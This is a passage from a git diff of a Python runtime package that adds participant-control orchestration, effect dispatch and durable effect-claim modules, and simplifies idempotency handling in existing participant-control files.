set(request.predecessor_effect_ids) & requests.keys() for identity, request in requests.items()} + ordered = [requests[identity] for identity in TopologicalSorter(graph).static_order()] + return [request for request in ordered if request.phase == phase] + + +def _dispatch_evaluation( + control_plane: object, + binding: object, + evaluation: ParticipantControlEvaluationModel, + drain: _DrainState, + *, + origin: ControlPlaneOperationRecord | None, + phase: str, +) -> None: + applied: dict[str, str] = {} + for request in _ordered_requests(evaluation, phase): + if request.key not in drain.claimants: + drain.claimants[request.key] = origin + if request.key not in drain.outcomes: + drain.outcomes[request.key] = drain.realized.get(request.key) or _dispatched( + control_plane, + binding, + evaluation, + drain.claimants[request.key], + request, + applied, + ) + applied[request.effect_id] = drain.outcomes[request.key].disposition + + +def _dispatched( + control_plane: object, + binding: object, + evaluation: ParticipantControlEvaluationModel, + origin: ControlPlaneOperationRecord | None, + request: ControlEffectRequestModel, + applied: Mapping[str, str], +) -> ParticipantControlEffectRealization: + outcome, claim = _effect_outcome(control_plane, binding, evaluation, origin, request, applied) + if claim is not None: + # Recorded as soon as it is known, so a predecessor's outcome is + # durable before any dependent is dispatched on the strength of it. + commit_participant_control_realization(control_plane, binding, evaluation, outcome, claim=claim) + return ParticipantControlEffectRealization( + effect_id=outcome.effect_id, + disposition=outcome.disposition, + receipt_ref=outcome.receipt.ref, + ) + + +def _withheld_dependent( + request: ControlEffectRequestModel, + applied: Mapping[str, str], +) -> ControlRealizationBindingModel | None: + """Withhold an effect whose declared predecessor was not applied. + + A dependent runs only after its predecessor is realized; a failed, + unsupported or indeterminate predecessor leaves it withheld rather than + dispatched out of its admitted order. A withhold is an ordering decision, + so it is recomputed on every drain and never recorded as an outcome: once + the predecessor applies, the dependent is simply admitted. + """ + + unsatisfied = [ + identity for identity in request.predecessor_effect_ids if applied.get(identity, _UNSUPPORTED) != _APPLIED + ] + if not unsatisfied: + return None + return realization(request, _WITHHELD, "withheld." + request.effect_id) + + +def _effect_outcome( + control_plane: object, + binding: object, + evaluation: ParticipantControlEvaluationModel, + origin: ControlPlaneOperationRecord | None, + request: ControlEffectRequestModel, + applied: Mapping[str, str], +) -> tuple[ControlRealizationBindingModel, ControlPlaneOperationRecord | None]: + """Decide one effect's outcome, and the claim that carries it if any.""" + + withheld = _withheld_dependent(request, applied) + operation = None + if withheld is None and origin is not None: + operation = _effect_operation(control_plane, binding, evaluation, request) + if operation is None: + # No provable originating operation means no principal to act for, and + # no owner input means no owner: both are reported, never silently + # skipped, and nothing is claimed or dispatched. + reason = "unattributed." if origin is None else "unsupported." + return withheld or realization(request, _UNSUPPORTED, reason + request.effect_id), None + return _claimed_outcome(control_plane, origin, request, operation) + + +def _claimed_outcome( + control_plane: object, + origin: ControlPlaneOperationRecord, + request: ControlEffectRequestModel, + operation: ParticipantControlEffectOperation, +) -> tuple[ControlRealizationBindingModel, ControlPlaneOperationRecord | None]: + claim = claim_effect(control_plane, origin, request) + if claim is None: + # The store refused because this claim identity already holds a + # *different* request. That record is provably not this effect's, so + # it is never read as an outcome, and nothing is dispatched. + return realization(request, _FAILED, "claim-conflict." + request.effect_id), None + if claim.fresh or never_dispatched(control_plane, claim.record, request): + disposition = _submitted_outcome( + control_plane, + claim.record, + request, + operation, + principal=origin_principal(control_plane, origin, request.target.participant_address), + ) + else: + # An earlier drain's dispatch may have begun: classify that attempt + # from its durable records, never repeat it. + disposition = claim_outcome(control_plane, claim.record, request) + return realization(request, disposition, claim.record.receipt.operation_id), claim.record + + +def _submitted_outcome( + control_plane: object, + claim: ControlPlaneOperationRecord, + request: ControlEffectRequestModel, + operation: ParticipantControlEffectOperation, + *, + principal: object, +) -> str: + """Submit through the owner as the originating principal and read the result. + + The owner's durable record decides whenever one exists. With none, the + owner stopped before claiming, so nothing began — and only the owner's own + refusal of this request (its authority or its validity) is an outcome of + the effect. Every input the owner sees is fixed by the admitted effect, its + originating principal and the trusted resolver, so that refusal cannot be + caused by whoever requested the drain. Any other error is a condition of + the moment, not of the effect: it propagates, the claim stays open, and a + later drain resumes. + """ + + try: + _submit(control_plane, claim, request, operation, principal=principal) + except Exception as error: + if owner_record(control_plane, claim, request) is None: + if isinstance(error, (PermissionError, ValueError)): + return _FAILED + raise + return claim_outcome(control_plane, claim, request) + + +def _effect_operation( + control_plane: object, + binding: object, + evaluation: ParticipantControlEvaluationModel, + request: ControlEffectRequestModel, +) -> ParticipantControlEffectOperation | None: + """Resolve the incumbent operation input, or ``None`` for an unsupported owner.""" + + try: + with external_control_plane_call(control_plane): + operation = binding.resolver.effect_operation(request, evaluation.request.context) + except Exception: + return None + if not isinstance(operation, ParticipantControlEffectOperation) or operation.kind != request.target.kind: + return None + return operation if _binds_request(operation, request, evaluation.request.context) else None + + +def _binds_request( + operation: ParticipantControlEffectOperation, + request: ControlEffectRequestModel, + context: object, +) -> bool: + """The owner input must be the exact effect the admitted request names. + + Scope alone is not identity: an owner operation that merely shares this + participant and episode proves nothing about the requested effect, yet its + receipt would be recorded as that effect's realization. Every coordinate + the closed target declares is bound to the owner input before submission. + """ + + evidence = operation.crossing_evidence + if not isinstance(evidence, ParticipantCrossingEvidence): + return False + bound = _OWNER_INPUT_BINDINGS.get(operation.kind) + return ( + bound is not None + and evidence.audience_scope_ref == context.audience_ref + and all(actual == expected for actual, expected in bound(operation, request.target, context)) + ) + + +# Pairs of (the owner input's coordinate, the admitted target's coordinate). +_Bindings = tuple[tuple[object, object], ...] + + +def _inject_bindings(operation: ParticipantControlEffectOperation, target: object, context: object) -> _Bindings: + view = operation.view + return ( + (getattr(view, "participant_address", None), target.participant_address), + (getattr(view, "episode_id", None), target.episode_id), + (getattr(view, "view_id", None), target.result_item_ref), + (getattr(view, "source_snapshot_ref", None), context.state_cut.cut_ref), + (getattr(view, "visibility_projection_ref", None), target.disclosure_ref.ref), + ) + + +def _handoff_bindings(operation: ParticipantControlEffectOperation, target: object, context: object) -> _Bindings: + del context + intent = operation.intent + return ( + (getattr(intent, "kind", None), "handoff"), + (getattr(intent, "episode_id", None), target.episode_id), + (getattr(intent, "declaration_ref", None), target.transition.ref), + (getattr(intent, "expected_state_revision", None), target.expected_state_revision), + (getattr(intent, "completion_evidence_ref", None), target.completion_obligation.ref), + ) + + +# Every coordinate the closed target declares, paired with the owner input's own. +_OWNER_INPUT_BINDINGS = {"inject": _inject_bindings, "handoff": _handoff_bindings} + + +def _submit( + control_plane: object, + claim: ControlPlaneOperationRecord, + request: ControlEffectRequestModel, + operation: ParticipantControlEffectOperation, + *, + principal: object, +) -> None: + """Submit through the incumbent owner of this closed effect kind. + + The owner re-authorizes the principal it is given and claims its own + operation under a key derived from this effect's claim, so its durable + record — not the value returned here — carries the outcome. + """ + + idempotency_key = owner_idempotency_key(claim) + if operation.kind == "inject": + control_plane.deliver_participant_directed_view( + request.target.participant_address, + operation.view, + identity=principal, + crossing_evidence=operation.crossing_evidence, + idempotency_key=idempotency_key, + ) + return + control_plane.record_participant_control( + request.target.participant_address, + operation.intent, + identity=principal, + crossing_evidence=operation.crossing_evidence, + idempotency_key=idempotency_key, + ) + + +__all__ = ( + "ParticipantControlEffectOperation", + "ParticipantControlEffectRealization", + "dispatch_participant_control_effects", +) diff --git a/implementations/python/packages/raes_runtime/participant_control_mediation.py b/implementations/python/packages/raes_runtime/participant_control_mediation.py index e9012ad76..86a0abedc 100644 --- a/implementations/python/packages/raes_runtime/participant_control_mediation.py +++ b/implementations/python/packages/raes_runtime/participant_control_mediation.py @@ -2,8 +2,6 @@ from __future__ import annotations -import hashlib -import json from dataclasses import asdict, dataclass, replace from raes_contracts.contracts import ( @@ -53,8 +51,7 @@ class _BoundControlRequest: specification: ParticipantBehaviorSpecificationRuntime transition: MixedControlTransitionRuntime state: MixedControlControllerStateRuntime - semantic_fingerprint: str - scoped_key: str + idempotency_key: str context: OperationAdmissionContext @@ -96,12 +93,6 @@ def record_participant_control( identity, idempotency_key, ) - existing = control_plane._store.find_by_idempotency(bound.scoped_key) if bound.scoped_key else None - if existing is not None: - if existing.request_fingerprint != bound.semantic_fingerprint: - raise ValueError("Idempotency-Key was reused with different semantics.") - control_plane._operations[existing.receipt.operation_id] = existing - return existing.receipt prepared = prepare_participant_control_transition( control_plane, participant_address, @@ -145,27 +136,17 @@ def bind_participant_control_request( specification=specification, transition=transition, state=state, - semantic_fingerprint=_semantic_fingerprint( - control_plane, - participant_address, - intent, - identity, - specification, - transition, - ), - scoped_key=_scoped_idempotency_key( - control_plane, - participant_address, - intent, - identity, - idempotency_key, - ), + idempotency_key=idempotency_key, context=operation_admission_context( control_plane, kind=OperationKind.PARTICIPANT_CONTROL, - request=intent, + request={ + "intent": intent.model_dump(mode="json"), + "participant_address": participant_address, + "specification": specification.address, + "transition": asdict(transition), + }, identity=identity, - run_scope=f"run:{intent.episode_id}", ), ) @@ -234,8 +215,7 @@ def prepare_participant_control_transition( authority=ParticipantControlOperationAuthority( identity=identity, context=bound.context, - semantic_fingerprint=bound.semantic_fingerprint, - scoped_key=bound.scoped_key, + idempotency_key=bound.idempotency_key, ), ) return PreparedParticipantControlTransition( @@ -398,46 +378,6 @@ def _validate_candidate_history( ) -def _semantic_fingerprint( - control_plane: object, - participant_address: str, - intent: ParticipantControlIntent, - identity: ControlPlaneIdentity, - specification: ParticipantBehaviorSpecificationRuntime, - transition: MixedControlTransitionRuntime, -) -> str: - payload = { - "target": control_plane.target_name, - "identity": identity.identity, - "participant": participant_address, - "intent": intent.model_dump(mode="json"), - "specification": specification.address, - "transition": asdict(transition), - } - return hashlib.sha256(json.dumps(payload, sort_keys=True, separators=(",", ":")).encode()).hexdigest() - - -def _scoped_idempotency_key( - control_plane: object, - participant_address: str, - intent: ParticipantControlIntent, - identity: ControlPlaneIdentity, - idempotency_key: str, -) -> str: - if not idempotency_key: - return "" - scope = ( - control_plane.target_name, - identity.identity, - intent.kind, - participant_address, - intent.episode_id, - idempotency_key, - ) - digest = hashlib.sha256("\x1f".join(scope).encode()).hexdigest() - return f"participant-control:{digest}" - - __all__ = ( "PreparedParticipantControlTransition", "bind_participant_control_request", diff --git a/implementations/python/packages/raes_runtime/participant_control_operation.py b/implementations/python/packages/raes_runtime/participant_control_operation.py index 340663576..529f148c6 100644 --- a/implementations/python/packages/raes_runtime/participant_control_operation.py +++ b/implementations/python/packages/raes_runtime/participant_control_operation.py @@ -27,8 +27,7 @@ class ParticipantControlOperationAuthority: identity: ControlPlaneIdentity context: OperationAdmissionContext - semantic_fingerprint: str - scoped_key: str + idempotency_key: str def participant_control_operation_artifacts( @@ -70,8 +69,8 @@ def participant_control_operation_artifacts( record = ControlPlaneOperationRecord( receipt=receipt, status=status, - request_fingerprint=authority.semantic_fingerprint, - idempotency_key=authority.scoped_key, + request_fingerprint=authority.context.request_commitment, + idempotency_key=authority.idempotency_key, ) audit_event = AuditEvent( timestamp=submitted_at, diff --git a/implementations/python/packages/raes_runtime/participant_control_orchestration.py b/implementations/python/packages/raes_runtime/participant_control_orchestration.py new file mode 100644 index 000000000..0814ba91b --- /dev/null +++ b/implementations/python/packages/raes_runtime/participant_control_orchestration.py @@ -0,0 +1,455 @@ +"""RUN-320 modular participant-control orchestration at the governed sinks. + +ADR-108 places mechanism-neutral composition immediately inside the incumbent +RUN-319 crossing boundary: resolve the admitted API-424 request for one exact +cut, invoke each admitted provider through the published +``participant-control-provider/v1`` protocol, compose the contributions with the +API-424 owner's own operation, and commit the validated evaluation atomically +before any backend effect or participant disclosure. + +This module introduces no store, policy engine, audit channel, effect executor, +or exception hierarchy, and it re-implements no composition rule: blockers, +conflicts and dispositions come from ``derive_control_composition``, and the +trusted-owner checks come from ``validate_participant_control_resolved_context``. +API-424 eligibility is not API-423 permission; a committed intent is not a +dispatch. +""" + +from __future__ import annotations + +from dataclasses import dataclass, replace +from typing import cast + +from raes_contracts.contracts.participant_control_composition import ( + ParticipantControlEvaluationModel, + ParticipantControlRequestModel, + control_digest, + derive_control_composition, +) +from raes_contracts.contracts.participant_control_resolution import ( + validate_participant_control_resolved_context, +) +from raes_contracts.contracts.participant_control_results import ControlMechanismResultModel +from raes_contracts.contracts.participant_control_selection import ( + ControlMechanismBindingModel, + ControlResultSlotModel, +) +from raes_contracts.diagnostics import Diagnostic +from raes_contracts.runtime_state import OperationReceipt, OperationState, operation_terminal_diagnostics + +from .control_plane_mutation import external_control_plane_call +from .control_plane_store import ControlPlaneOperationRecord +from .participant_control_binding import ( + ParticipantControlResolution, + ParticipantControlRuntimeBinding, + fenced_validation_context, +) +from .participant_control_cut import binds_live_cut, declares_committed_consumption +from .participant_crossing_commit import commit_prepared_crossing +from .participant_crossing_mediation import PreparedParticipantCrossing +from .participant_crossing_state_cut import ( + control_history_head_refs, + expected_participant_history_heads, +) +from .participant_flow_sink import early_crossing_receipt, resolve_flow_sink_denial + +_UNRESOLVED = "unresolved" + + +@dataclass(frozen=True) +class ParticipantControlOutcome: + """Bounded, value-independent composition result for one exact sink.""" + + disposition: str + reason_code: str + evaluation: ParticipantControlEvaluationModel | None = None + + @property + def eligible(self) -> bool: + return self.disposition == "eligible" + + +def _unresolved(disposition: str, reason_code: str) -> ParticipantControlOutcome: + return ParticipantControlOutcome(disposition=disposition, reason_code=reason_code) + + +def resolve_participant_control_outcome( + control_plane: object, + crossing: PreparedParticipantCrossing, + *, + sink_kind: object, +) -> ParticipantControlOutcome | None: + """Resolve, invoke, compose and validate modular control for one cut. + + Returns ``None`` when no modular control is bound, or when the admitted + apparatus resolves no selection for this exact cut: an empty optional + selection makes no mechanism claim and leaves the incumbent gates alone. + A resolver or provider failure is never such an absence; it fails closed. + """ + + binding = getattr(control_plane, "_participant_control", None) + if binding is None: + return None + if crossing.decision is None: + return _unresolved(_UNRESOLVED, "control-unresolved") + return _resolved_outcome(control_plane, binding, crossing, sink_kind) + + +def _resolved_outcome( + control_plane: object, + binding: ParticipantControlRuntimeBinding, + crossing: PreparedParticipantCrossing, + sink_kind: object, +) -> ParticipantControlOutcome | None: + head_refs = control_history_head_refs(control_plane._snapshot, crossing.intent.participant_address) + resolution = _resolve(control_plane, binding, crossing, sink_kind, head_refs) + if not isinstance(resolution, ParticipantControlResolution): + return resolution + request = _revalidated_request(resolution.request) + refusal = _request_refusal(control_plane, binding, crossing, request, sink_kind, head_refs) + return refusal or _composed_outcome(control_plane, binding, crossing, request, resolution) + + +def _request_refusal( + control_plane: object, + binding: ParticipantControlRuntimeBinding, + crossing: PreparedParticipantCrossing, + request: ParticipantControlRequestModel | None, + sink_kind: object, + head_refs: tuple[str, ...], +) -> ParticipantControlOutcome | None: + """The first admission gate the resolved request fails, or ``None``.""" + + if request is None: + return _unresolved(_UNRESOLVED, "control-unresolved") + gates = ( + # PC-01: a different profile, mechanism, authority or bound is a new + # admitted binding at an explicit cut, never a resolve-time swap. + ( + _UNRESOLVED, + "control-unadmitted-selection", + lambda: control_digest(request.selection) == control_digest(binding.selection), + ), + ("stale", "control-stale-cut", lambda: binds_live_cut(request, crossing, sink_kind, head_refs)), + # PC-11/PC-12: budgets and logical claims are durable, so a fresh + # context may not re-spend what this causal root already consumed. + ( + "stale", + "control-exhausted-or-stale-claims", + lambda: declares_committed_consumption(control_plane, request), + ), + ) + failed = next(((disposition, reason) for disposition, reason, passes in gates if not passes()), None) + return None if failed is None else _unresolved(*failed) + + +def _resolve( + control_plane: object, + binding: ParticipantControlRuntimeBinding, + crossing: PreparedParticipantCrossing, + sink_kind: object, + head_refs: tuple[str, ...], +) -> ParticipantControlResolution | ParticipantControlOutcome | None: + try: + with external_control_plane_call(control_plane): + resolution = binding.resolver.resolve( + snapshot=control_plane._snapshot, + intent=crossing.intent, + crossing=crossing, + sink_kind=sink_kind, + expected_history_head_refs=head_refs, + ) + except Exception: + # Fail closed for every resolver failure; its detail never leaks. + return _unresolved(_UNRESOLVED, "control-unresolved") + if resolution is None or isinstance(resolution, ParticipantControlResolution): + return resolution + return _unresolved(_UNRESOLVED, "control-unresolved") + + +def _revalidated_request(request: object) -> ParticipantControlRequestModel | None: + """Rebuild from the portable projection; unchecked mutation cannot pass.""" + + try: + return ParticipantControlRequestModel.model_validate( + cast(ParticipantControlRequestModel, request).model_dump(mode="python") + ) + except Exception: + return None + + +def _composed_outcome( + control_plane: object, + binding: ParticipantControlRuntimeBinding, + crossing: PreparedParticipantCrossing, + request: ParticipantControlRequestModel, + resolution: ParticipantControlResolution, +) -> ParticipantControlOutcome: + results = _mechanism_results(control_plane, binding, request) + try: + composition = derive_control_composition( + request, + results, + resolution.support, + incumbent_gate_disposition=resolution.incumbent_gate_disposition, + incumbent_gate_evidence=resolution.incumbent_gate_evidence, + ) + evaluation = ParticipantControlEvaluationModel( + schema_version="participant-control-evaluation/v1", + evaluation_id=_evaluation_id(crossing, request), + request=request, + results=results, + support=resolution.support, + composition=composition, + realizations=(), + ) + validate_participant_control_resolved_context( + evaluation, fenced_validation_context(control_plane, binding, evaluation) + ) + except Exception: + # Bounded: a rejected composition or trusted-context failure never + # discloses its rejected value, and never widens permission. + return _unresolved(_UNRESOLVED, "control-context-invalid") + return ParticipantControlOutcome( + disposition=composition.disposition, + reason_code="control-" + composition.disposition, + evaluation=evaluation, + ) + + +def _evaluation_id(crossing: PreparedParticipantCrossing, request: ParticipantControlRequestModel) -> str: + """Stable per-cut identity; a retry at a fresh cut resolves a fresh one.""" + + decision = crossing.decision + assert decision is not None + return f"control-evaluation:{decision.occurrence.decision_id}:{request.context.attempt}" + + +def _mechanism_results( + control_plane: object, + binding: ParticipantControlRuntimeBinding, + request: ParticipantControlRequestModel, +) -> tuple[ControlMechanismResultModel, ...]: + """Invoke each selected instance once and record every slot explicitly.""" + + context_digest = control_digest(request.context) + slots: dict[str, list[ControlResultSlotModel]] = {} + for slot in request.selection.slots: + slots.setdefault(slot.instance_id, []).append(slot) + results: list[ControlMechanismResultModel] = [] + for item in request.selection.bindings: + provider = binding.providers.get(item.instance_id) + owned = {slot.slot_id for slot in slots.get(item.instance_id, [])} + returned = _provider_results(control_plane, provider, request, owned) if provider is not None else None + for slot in slots.get(item.instance_id, []): + resolved = None if returned is None else returned.get(slot.slot_id) + if resolved is not None: + results.append(resolved) + continue + status = "failed" if returned is None else "missing" + results.append(_absent_result(item, slot, context_digest, status)) + return tuple(results) + + +def _provider_results( + control_plane: object, + provider: object, + request: ParticipantControlRequestModel, + owned: set[str], +) -> dict[str, ControlMechanismResultModel] | None: + """Return revalidated results by slot, or ``None`` for a failed provider. + + A duplicate slot or a slot this instance does not own is a malformed + response, not a later contribution overwriting an earlier one: collapsing + them would make composition depend on return order and would hide the + duplicate from the contract's own uniqueness check. + """ + + try: + with external_control_plane_call(control_plane): + returned = provider.resolve(request) + resolved: dict[str, ControlMechanismResultModel] = {} + for item in returned: + result = ControlMechanismResultModel.model_validate( + cast(ControlMechanismResultModel, item).model_dump(mode="python") + ) + if result.slot_id in resolved or result.slot_id not in owned: + raise ValueError("provider returned a duplicate or unowned result slot") + resolved[result.slot_id] = result + except Exception: + # A malformed or failing provider contributes no fact and no permit. + return None + return resolved + + +def _absent_result( + binding: ControlMechanismBindingModel, + slot: ControlResultSlotModel, + context_digest: str, + status: str, +) -> ControlMechanismResultModel: + """Record one explicit absence, evidenced by the admitted binding itself.""" + + return ControlMechanismResultModel( + result_id=f"unresolved.{slot.slot_id}", + slot_id=slot.slot_id, + instance_id=binding.instance_id, + binding_digest=control_digest(binding), + context_digest=context_digest, + status=status, + payload=None, + evidence=(binding.evidence[0],), + next_provider_state=None, + ) + + +def participant_control_audit_details(outcome: ParticipantControlOutcome) -> dict[str, str]: + """Return only safe, bounded, value-independent API-424 audit references.""" + + evaluation = outcome.evaluation + return { + "control_evaluation_id": "" if evaluation is None else evaluation.evaluation_id, + "control_selection_id": "" if evaluation is None else evaluation.request.selection.selection_id, + "control_disposition": outcome.disposition, + } + + +def with_participant_control_evaluation( + crossing: PreparedParticipantCrossing, + outcome: ParticipantControlOutcome, + *, + allowed: bool = True, +) -> PreparedParticipantCrossing: + """Fold the composed evaluation into the same atomic crossing commit.""" + + audit = replace( + crossing.audit_event, + details={**crossing.audit_event.details, **participant_control_audit_details(outcome)}, + ) + if not allowed: + audit = replace(audit, allowed=False, reason=outcome.reason_code) + prepared = cast(PreparedParticipantCrossing, replace(crossing, audit_event=audit)) + if outcome.evaluation is None: + return prepared + return _with_appended_evaluation(prepared, outcome.evaluation) + + +def _with_appended_evaluation( + crossing: PreparedParticipantCrossing, + evaluation: ParticipantControlEvaluationModel, +) -> PreparedParticipantCrossing: + participant_address = crossing.intent.participant_address + history = crossing.next_snapshot.participant_control_evaluation_history + next_snapshot = crossing.next_snapshot.with_entries( + dict(crossing.next_snapshot.entries), + participant_control_evaluation_history={ + **history, + participant_address: [*history.get(participant_address, ()), evaluation.model_dump(mode="json")], + }, + ) + return cast( + PreparedParticipantCrossing, + replace( + crossing, + next_snapshot=next_snapshot, + record=replace( + crossing.record, + result_history_heads=expected_participant_history_heads(next_snapshot, participant_address), + ), + ), + ) + + +def control_denied_record(crossing: PreparedParticipantCrossing) -> ControlPlaneOperationRecord: + """Return the rejected operation record for a non-eligible composition.""" + + diagnostic = Diagnostic( + code="runtime.participant-control-not-eligible", + domain="participant", + address=crossing.intent.participant_address, + message="Participant control composition did not admit this operation.", + ) + return cast( + ControlPlaneOperationRecord, + replace( + crossing.record, + status=replace( + crossing.record.status, + state=OperationState.FAILED, + diagnostics=operation_terminal_diagnostics(OperationState.FAILED, [diagnostic]), + ), + ), + ) + + +def resolve_participant_control_denial( + control_plane: object, + crossing: PreparedParticipantCrossing, + *, + sink_kind: object, +) -> tuple[ParticipantControlOutcome | None, OperationReceipt | None]: + """Compose modular control and atomically commit a non-eligible refusal.""" + + outcome = resolve_participant_control_outcome(control_plane, crossing, sink_kind=sink_kind) + if outcome is None or outcome.eligible: + return outcome, None + denied = with_participant_control_evaluation(crossing, outcome, allowed=False) + rejected = cast( + PreparedParticipantCrossing, + replace(denied, record=control_denied_record(denied)), + ) + return outcome, commit_prepared_crossing(control_plane, rejected) + + +def admit_participant_control( + control_plane: object, + crossing: PreparedParticipantCrossing, + *, + sink_kind: object, +) -> tuple[PreparedParticipantCrossing, OperationReceipt | None]: + """Return the crossing to commit, or the receipt of a committed refusal. + + One sink-facing entry for every governed boundary: an eligible composition + joins the crossing's own atomic write set, and a non-eligible one is already + committed as a refusal with zero backend call and zero disclosure. + """ + + outcome, receipt = resolve_participant_control_denial(control_plane, crossing, sink_kind=sink_kind) + if receipt is not None or outcome is None: + return crossing, receipt + return with_participant_control_evaluation(crossing, outcome), None + + +def admit_ingress_sinks( + control_plane: object, + crossing: PreparedParticipantCrossing, + *, + sink_kind: object, + action: str, +) -> tuple[PreparedParticipantCrossing, object | None, OperationReceipt | None]: + """Run one ingress crossing through every governed sink gate, in order. + + A replayed or refused crossing, then the SEM-233 final-sink decision, then + modular control. Returns the crossing to commit, the permitted sink + decision, and the receipt of whichever gate already settled the operation. + """ + + receipt = early_crossing_receipt(control_plane, crossing) + sink_decision = None + if receipt is None: + sink_decision, receipt = resolve_flow_sink_denial(control_plane, crossing, sink_kind=sink_kind, action=action) + if receipt is None: + crossing, receipt = admit_participant_control(control_plane, crossing, sink_kind=sink_kind) + return crossing, sink_decision, receipt + + +__all__ = ( + "ParticipantControlOutcome", + "admit_ingress_sinks", + "admit_participant_control", + "control_denied_record", + "participant_control_audit_details", + "resolve_participant_control_denial", + "resolve_participant_control_outcome", + "with_participant_control_evaluation", +) diff --git a/implementations/python/packages/raes_runtime/participant_control_receipts.py b/implementations/python/packages/raes_runtime/participant_control_receipts.py new file mode 100644 index 000000000..adf937167 --- /dev/null +++ b/implementations/python/packages/raes_runtime/participant_control_receipts.py @@ -0,0 +1,352 @@ +"""RUN-320 effect claims: who an effect acts for, and what became of it. + +PC-09/PC-11 separate an effect from the evaluation that admitted it: the parent +commits its intent, and each effect is dispatched afterwards as its own +operation. That split must not change *whose* effect it is. The principal of +an effect is the principal of the committed operation that admitted it, so: + +* the originating operation is the one whose committed transition appended the + evaluation — the ADR-104 record already names it as its result history head; +* every effect is claimed durably, before any owner is invoked, under a context + that retains that operation's actor, authorization scope, target and run, and + names it as ``parent_operation_id``; +* the effect is submitted to its owner *as* that principal, restricted to its + bindings for this participant, so the owner's own rules decide and a + principal can never cause an effect it could not itself perform; +* the caller that drains effects is authorized separately, before anything + committed is read, and may request execution without becoming the principal. + +The claim is what makes outcomes trustworthy. It is keyed by the logical effect +key under the originating actor, so every drain resolves the same claim and +none can execute an effect twice, and the store's own replay validation binds +it to this effect's content, so an unrelated record can never answer for it. +Nothing that depends on the drain caller is ever persisted as an outcome: an +owner's refusal is a refusal of the fixed originating principal, which every +drain would meet identically, and a withhold or unsupported owner is recomputed +on each drain rather than recorded. +""" + +from __future__ import annotations + +from dataclasses import dataclass +from uuid import uuid4 + +from raes_contracts.canonical import canonical_json_digest +from raes_contracts.contracts.participant_control_coordinates import ControlArtifactReferenceModel +from raes_contracts.contracts.participant_control_effects import ControlEffectRequestModel +from raes_contracts.contracts.participant_control_results import ControlRealizationBindingModel +from raes_contracts.operation_lifecycle import OperationAdmissionContext +from raes_contracts.planning import RuntimeDomain +from raes_contracts.runtime_state import ( + OperationKind, + OperationReceipt, + OperationState, + OperationStatus, +) + +from .control_plane_execution import _utc_now +from .control_plane_security import ( + ControlPlaneIdentity, + ControlPlaneRole, + ParticipantAudienceSubjectBinding, + ParticipantControlSubjectBinding, +) +from .control_plane_store import ( + IDEMPOTENCY_CLAIM_CONFLICT, + ControlPlaneOperationRecord, + idempotency_claim_identity, +) + +_APPLIED = "applied" +_FAILED = "failed" +_INDETERMINATE = "indeterminate" +_CARRIER = "participant_control_evaluation_history" +_TERMINAL_DISPOSITIONS = {OperationState.SUCCEEDED: _APPLIED, OperationState.FAILED: _FAILED} +_KNOWN_ROLES = frozenset(role.value for role in ControlPlaneRole) +_ROLE_SCOPE = "role:" + +# The incumbent owner of each closed effect kind records its own operation +# under its own kind: a participant-directed inject through the RUN-319 +# delivery crossing, a handoff through the RUN-310 supervisory control path. +_OWNER_OPERATION_KINDS = { + "inject": OperationKind.PARTICIPANT_CROSSING, + "handoff": OperationKind.PARTICIPANT_CONTROL, +} + + +@dataclass(frozen=True) +class EffectClaim: + """This effect's durable claim, and whether this drain just created it.""" + + record: ControlPlaneOperationRecord + fresh: bool + + +def require_drain_authority(control_plane: object, participant_address: str, identity: object) -> None: + """Authorize the drain caller before any committed state is read. + + The same gate every incumbent participant mutation applies: an + authenticated principal with a mutating role, bound to this target and to + this participant as a controller or an audience. Draining is a request to + execute effects that are already admitted, so it needs no authority over + the effects themselves. + """ + + reason = _drain_refusal(control_plane, participant_address, identity) + # The request is audited under the caller's own identity either way; the + # effects it drains are attributed to their originating principals. + control_plane.record_audit( + action="dispatch_participant_control_effects", + identity=getattr(identity, "identity", "anonymous"), + allowed=reason is None, + target=participant_address, + reason=reason or "authorized", + ) + if reason is not None: + raise PermissionError("participant control effect dispatch is not authorized: " + reason) + + +def _drain_refusal(control_plane: object, participant_address: str, identity: object) -> str | None: + """The first gate the caller fails, in the order the incumbents apply them.""" + + if not isinstance(identity, ControlPlaneIdentity): + return "unauthenticated" + bound_subjects = (*identity.participant_control_subjects, *identity.participant_audience_subjects) + gates = ( + ("target-forbidden", identity.target_name in (None, control_plane.target_name)), + ("caller-forbidden", not identity.roles.isdisjoint({ControlPlaneRole.BACKEND, ControlPlaneRole.OPERATOR})), + ("participant-forbidden", any(item.participant_address == participant_address for item in bound_subjects)), + ) + return next((reason for reason, passed in gates if not passed), None) + + +def originating_operations(control_plane: object, participant_address: str) -> dict[str, ControlPlaneOperationRecord]: + """Map each committed evaluation to the operation whose transition appended it. + + A record names the history head it produced; only the record whose + transition *moved* the head to an evaluation appended it. A later record + that left the head unchanged names the same value on both sides. + """ + + key = f"{_CARRIER}:{participant_address}" + origins: dict[str, ControlPlaneOperationRecord] = {} + for record in control_plane._store.load_records().values(): + produced = record.result_history_heads.get(key) + if produced is not None and record.decision_history_heads.get(key) != produced: + origins[produced] = record + return origins + + +def origin_principal( + control_plane: object, + origin: ControlPlaneOperationRecord, + participant_address: str, +) -> ControlPlaneIdentity: + """The originating principal, restricted to its authority over this participant. + + The parent's admission context durably records the actor and the exact + role, control and audience scopes it was admitted with. Only this + participant's bindings are carried: the scope prefix names the participant + address, which cannot contain ``:``, so the remainder is exactly the bound + controller or audience. Every governed crossing requires an authenticated + identity, so an origin always reconstructs as one; an origin that somehow + carries no binding simply holds no authority, and its owner refuses it. + """ + + context = origin.status.context + control_prefix = f"participant-control:{participant_address}:" + audience_prefix = f"participant-audience:{participant_address}:" + roles = frozenset( + ControlPlaneRole(scope.removeprefix(_ROLE_SCOPE)) + for scope in context.authorization_scope + if scope.startswith(_ROLE_SCOPE) and scope.removeprefix(_ROLE_SCOPE) in _KNOWN_ROLES + ) + return ControlPlaneIdentity( + identity=context.actor_id, + roles=roles, + target_name=control_plane.target_name, + participant_control_subjects=tuple( + ParticipantControlSubjectBinding(participant_address, scope.removeprefix(control_prefix)) + for scope in context.authorization_scope + if scope.startswith(control_prefix) + ), + participant_audience_subjects=tuple( + ParticipantAudienceSubjectBinding(participant_address, scope.removeprefix(audience_prefix)) + for scope in context.authorization_scope + if scope.startswith(audience_prefix) + ), + ) + + +def effect_idempotency_key(request: ControlEffectRequestModel) -> str: + """Scope the claim to the logical effect key, never to an attempt.""" + + return f"control-effect:{canonical_json_digest(request.key.model_dump(mode='json'))}" + + +def owner_idempotency_key(claim: ControlPlaneOperationRecord) -> str: + """The owner submission key, derived from this effect's own claim. + + The claim's operation identity is minted inside the drain's held mutation, + so nothing can hold this key before the owner is invoked. The key is not a + secret, though: a record only answers for the effect when it also lies in + the owner's claim scope, which 